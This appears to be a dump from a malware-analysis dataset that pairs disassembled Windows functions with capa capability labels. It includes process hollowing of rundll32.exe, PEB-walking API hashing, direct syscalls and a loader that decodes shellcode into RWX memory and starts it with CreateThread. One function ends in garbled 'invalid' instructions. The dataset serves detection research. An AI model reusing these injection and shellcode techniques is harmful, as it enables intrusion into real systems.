joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45f560
Capabilities:
Access peb ldr_data

Disassembly:
sub rsp, 0x90
mov qword [rsp + 0x88], rbp
lea rbp, [rsp + 0x88]
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], r11
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x68], rax
call fcn.00459880
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x88]
add rsp, 0x90
ret

Function at 0x45f620
Capabilities:
Access peb ldr_data

Disassembly:
sub rsp, 0xa8
mov qword [rsp + 0xa0], rbp
lea rbp, [rsp + 0xa0]
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x40], r11
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rax
call fcn.004599c0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xa0]
add rsp, 0xa8
ret
Function at 0x48d6a0
Capabilities:
Encode data using base64

Disassembly:
lea r12, [rsp - 0x70]
cmp r12, qword [r14 + 0x10]
jbe 0x48d860
sub rsp, 0xf0
mov qword [rsp + 0xe8], rbp
lea rbp, [rsp + 0xe8]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x50], rbx
mov rcx, rbx
mov rbx, rax
lea rax, [rsp + 0x58]
nop
call fcn.00448b40
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x40], rcx
mov rdx, qword [rsp + 0x50]
xor ebx, ebx
xor esi, esi
xor edi, edi
xor r8d, r8d
jmp 0x48d78a
movzx ecx, byte [rdx + rsi]
xor eax, ecx
movzx ebx, al
lea rax, [rsp + 0x2c]
call fcn.00448ee0
mov rcx, qword [rsp + 0x30]
mov rdi, rax
mov rsi, rbx
xor eax, eax
mov rbx, qword [rsp + 0xd8]
call fcn.00448500
mov rcx, qword [rsp + 0x48]
inc rcx
mov rdx, qword [rsp + 0x38]
lea rsi, [rdx + 1]
sar rsi, 0x3f
shr rsi, 0x3d
lea rsi, [rsi + rdx]
lea rsi, [rsi + 1]
sar rsi, 3
shl rsi, 3
sub rdx, rsi
lea r8, [rdx + 1]
mov rdx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0xe0]
mov rsi, rbx
mov rdi, rax
mov rax, qword [rsp + 0xe0]
mov rbx, rcx
mov rcx, qword [rsp + 0x40]
shr rdx, 1
cmp rbx, rdx
jge 0x48d82b
lea r10, [rbx + rbx]
lea r10, [r10 + 2]
nop
cmp rcx, r10
jb 0x48d854
mov rdx, rbx
shl rbx, 1
cmp r10, rbx
jb 0x48d849
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r8
mov rdi, rcx
sub rdi, rbx
mov rsi, rdi
neg rdi
shl rdx, 3
sar rdi, 0x3f
and rdx, rdi
lea rbx, [rax + rdx]
mov rdi, rsi
xor eax, eax
mov ecx, 2
call fcn.00448d00
mov ecx, 0x10
xor edi, edi
call fcn.004644e0
mov rcx, qword [0x00560458]
mov rdx, qword [0x00560450]
mov rsi, qword [rsp + 0x38]
nop dword [rax + rax]
cmp rsi, rcx
jb 0x48d705
jmp 0x48d841
mov rax, rdi
mov rbx, rsi
mov rbp, qword [rsp + 0xe8]
add rsp, 0xf0
ret
mov rax, rsi
call fcn.0045d1e0
mov rax, rbx
mov rcx, r10
call fcn.0045d2a0
mov rdx, rcx
mov rcx, r10
call fcn.0045d260
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045aae0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0048d6a0
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rsi
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400047e4
Capabilities:
Identify system language via api

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400128b8]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea r14, str.en_US
mov rsi, rcx
mov qword [rcx], r14
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov word [rsp + 0x30], ax
mov ebx, 0x10
mov r9d, ebx
lea rdx, [0x140008110]
lea rax, [0x140004df0]
mov r8d, 0x1b3
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call sub.api_ms_win_crt_private_l1_1_0.dll__o_bsearch
xor ebp, ebp
test rax, rax
jne 0x14000485f
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1400048e5
cmp dword [rax + 0xc], 0x7c
jne 0x14000486c
cmp word [rax + 8], 0x7f
jne 0x14000484f
mov r8, qword [rax]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], bp
jne 0x140004873
inc rcx
cmp rcx, 0x7ffffffe
jbe 0x140004890
mov word [rsp + 0x38], bp
jmp 0x1400048d7
lea rax, [rsp + 0x38]
mov r9d, ebp
sub r8, rax
lea rdx, [rsp + 0x38]
lea rax, [rbx - 0x10]
add rax, rcx
je 0x1400048c0
movzx eax, word [r8 + rdx]
test ax, ax
je 0x1400048c0
mov word [rdx], ax
add rdx, 2
sub rbx, 1
jne 0x1400048a0
test rbx, rbx
jne 0x1400048cf
sub rdx, 2
mov r9d, 0x8007007a
mov word [rdx], bp
test r9d, r9d
jns 0x1400048e1
mov ecx, 0x7a
jmp 0x140004854
test ecx, ecx
jne 0x1400048f1
mov rcx, qword [rsp + 0x78]
call fcn.14000494c
jmp 0x14000492a
mov rbx, rbp
mov rdi, rbp
mov rdx, qword [rdi + r14]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__wcsicmp]
test eax, eax
je 0x14000491c
inc rbx
add rdi, 0x30
cmp rdi, 0x750
jb 0x1400048f7
jmp 0x14000492a
lea rax, [rbx + rbx*2]
shl rax, 4
add rax, r14
mov qword [rsi], rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400050e0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140005104
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140012e60], eax
call fcn.1400056f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012e60], 0
jne case.default.0x14000515a
mov ecx, 1
call fcn.1400056f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
je 0x14001ad0b
invalid
xor esp, dword [rdx + 0x7f]
or ecx, ebx
jg 0x14001ad1a
pop rbp
wait
mov ebx, 0x83f97f1
fld qword [rdi + 0x2f]
mov al, 0x3c
out dx, al
invalid
Function at 0x140011235
Capabilities:
Terminate process

Disassembly:
jmp 0x140013880
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x140046a60], 0
jne 0x140001250
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x14000125a
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x1400010de
lea rdx, [r9 + rcx]
mov ecx, dword [r9 + rcx + 0xc]
mov eax, dword [rcx + r9]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x1400010de
mov eax, dword [rcx + r9 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x1400010ea
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x1400010a1
test rdx, rdx
je 0x14000125a
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r9
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r9
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r9
mov qword [rsp], r15
xor r8d, r8d
lea r15, [0x140046a60]
nop dword [rax + rax]
dec ebx
mov edx, dword [rsi + rbx*4]
add rdx, r9
cmp word [rdx], r12w
jne 0x1400011a3
xor r11d, r11d
mov r10d, 0x1ac2908a
mov rax, rdx
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r10d, ecx
cmp byte [rax], 0
jne 0x140001160
lea rcx, [r8*8]
inc r8d
mov dword [rcx + r15 + 4], r10d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp r8d, 0x1f4
je 0x1400011a7
test ebx, ebx
jne 0x140001140
mov r14, qword [rsp + 8]
lea eax, [r8 - 1]
mov r12, qword [rsp + 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x140046a60], r8d
test eax, eax
je 0x140001242
nop dword [rax]
mov ecx, r8d
xor eax, eax
sub ecx, edx
cmp ecx, 1
je 0x140001238
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x140001229
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov r8d, dword [0x140046a60]
mov ecx, r8d
mov eax, r9d
sub ecx, edx
dec ecx
cmp r9d, ecx
jb 0x1400011e0
inc edx
lea eax, [r8 - 1]
cmp edx, eax
jb 0x1400011d0
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
sub rsp, 0x5c8
mov edx, 0x68
lea rcx, [rsp + 0x80]
call section..text
mov dword [rsp + 0x80], 0x68
call fcn.180001260
test eax, eax
je 0x180001202
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x1000044
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180043218]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18000114c
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x180001202
mov dword [rsp + 0x120], 0x100003
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x40000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x40000
lea r8, str.MZARUH
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x140003ae0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003b14
cmp word [rcx], 0x5a4d
jne 0x140003b14
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003b14
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003b14
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003a20
test eax, eax
jne 0x140003b30
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003a90
test rax, rax
je 0x140003b25
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.1400042dc
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret
Function at 0x140003f10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov ebx, dword [0x14054d700]
test ebx, ebx
je 0x140003f40
mov eax, 1
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x24], 0xb5b7bebb
mov dword [rsp + 0x28], 0xb5b778b9
mov dword [rsp + 0x2c], 0x4953c1a7
mov dword [rsp + 0x30], 0x49534a89
mov dword [rsp + 0x34], 0x49534a69
mov dword [rsp + 0x38], 0x49534a6d
mov dword [rsp + 0x3c], 0x49534a71
call fcn.140003f00
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx + 0x30]
test rax, rax
je 0x140004170
xor r10d, r10d
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov r8, rax
lea eax, [rcx - 0x49534a4d]
mov eax, dword [r8 + rax]
mov eax, dword [r8 + rax + 0x88]
test eax, eax
je 0x140003ff3
lea r10, [r8 + rax]
mov ecx, dword [rsp + 0x24]
mov eax, dword [r10 + 0xc]
sub ecx, 0x49534a4d
add rax, r8
mov r9d, dword [rax]
or r9d, 0x20202020
cmp r9d, ecx
jne 0x140003ff3
mov r9d, dword [rax + 4]
mov ecx, dword [rsp + 0x28]
or r9d, 0x20202020
lea eax, [rcx - 0x49534a4d]
cmp r9d, eax
je 0x140003fff
mov rdx, qword [rdx]
mov rax, qword [rdx + 0x30]
test rax, rax
jne 0x140003f98
test r10, r10
je 0x140004170
mov eax, dword [rsp + 0x34]
mov edi, dword [r10 + 0x18]
sub eax, 0x49534a4d
mov ebp, dword [rax + r10]
mov eax, dword [rsp + 0x38]
sub eax, 0x49534a4d
add rbp, r8
mov r9d, dword [rax + r10]
mov eax, dword [rsp + 0x3c]
sub eax, 0x49534a4d
add r9, r8
mov r11d, dword [rax + r10]
add r11, r8
test edi, edi
je 0x140004146
lea r13, [0x14054d704]
xor r10d, r10d
lea r12, [r13 - 4]
lea rsi, [r12 - 4]
jmp 0x140004081
add r10d, 1
add r9, 4
add r11, 2
cmp r10d, edi
jae 0x140004150
cmp ebx, 0x1f3
ja 0x140004150
mov edx, dword [r9]
mov eax, dword [rsp + 0x2c]
add rdx, r8
lea ecx, [rax - 0x49534a4d]
movzx r14d, word [rdx]
cmp r14d, ecx
jne 0x140004060
cmp byte [rdx], 0
je 0x140004160
add eax, 0x2110181b
cmp byte [rdx + 1], 0
mov ecx, 1
mov r15d, 1
je 0x1400040e0
nop dword [rax]
movzx r15d, word [rdx + r15]
mov r14d, eax
ror r14d, 8
add eax, r15d
lea r15d, [rcx + 1]
add eax, r14d
cmp byte [rdx + r15], 0
mov rcx, r15
jne 0x1400040c0
mov edx, ebx
shl rdx, 3
lea rcx, [rdx + r13]
mov dword [rcx], eax
movzx eax, word [r11]
mov eax, dword [rbp + rax*4]
mov dword [rcx + 4], eax
test ebx, ebx
je 0x14000413e
lea eax, [rbx - 1]
add rdx, r12
lea rax, [r12 + rax*8 + 4]
jmp 0x140004136
movd xmm0, dword [rdx + 4]
movd xmm1, ecx
mov rcx, qword [rax]
sub rax, 8
sub rdx, 8
punpckldq xmm0, xmm1
mov qword [rdx + 0xc], rcx
movq qword [rax + 8], xmm0
cmp rsi, rax
je 0x14000413e
mov ecx, dword [rdx + 8]
cmp ecx, dword [rax + 4]
jb 0x140004110
add ebx, 1
jmp 0x140004060
xor ebx, ebx
nop dword [rax + rax]
mov dword [0x14054d700], ebx
jmp 0x140003f2a
mov eax, 0xb6acb5b3
jmp 0x1400040e0
xor eax, eax
jmp 0x140003f2f
Function at 0x1400041e0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004180
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004634
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x140554498]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x140554494]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004682
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000467a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004769
inc ebx
add rax, 0x28
jmp 0x14000465a
mov rcx, r12
call fcn.140004e61
mov rbp, rax
test rax, rax
jne 0x1400046a1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400045d0
movsxd rbx, ebx
mov rax, qword [0x140554498]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004f0f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140554498]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004703
mov rax, qword [0x140554498]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400045d0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004763
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004763
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140554498]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004763
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400045d0
inc dword [0x140554494]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140004b90
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140554500]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1405544e0]
test rbx, rbx
je 0x140004bdc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004bd6
test eax, eax
jne 0x140004bd6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004bae
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004d90
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004db3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004db3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140004db4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004dee
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004de5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004df0
inc r8d
add rax, 0x28
jmp 0x140004dcc
xor eax, eax
ret

Function at 0x140004e61
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1405505b0]
mov r8, rcx
mov rcx, r9
call fcn.140004d90
test eax, eax
je 0x140004e8d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004db4
xor eax, eax
add rsp, 0x28
ret
Function at 0x6ce813cf
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x3f0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x40]
lea rdx, section..rdata
mov ecx, 0x3a0
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3a0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x3a0
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov dword [rbp + 0x36c], 0
mov eax, dword [rbp + 0x36c]
cdqe
cmp rax, 0x39f
ja 0x6ce81490
mov rdx, qword [rbp - 0x48]
mov eax, dword [rbp + 0x36c]
cdqe
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
sub eax, 0x18
mov dword [rbp + 0x368], eax
mov rdx, qword [rbp - 0x48]
mov eax, dword [rbp + 0x36c]
cdqe
add rax, rdx
mov edx, dword [rbp + 0x368]
mov byte [rax], dl
add dword [rbp + 0x36c], 1
jmp 0x6ce81442
mov rax, qword [rbp - 0x48]
mov rdx, rax
lea rax, [rbp - 0x4c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x360]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x3f0
pop rbp
ret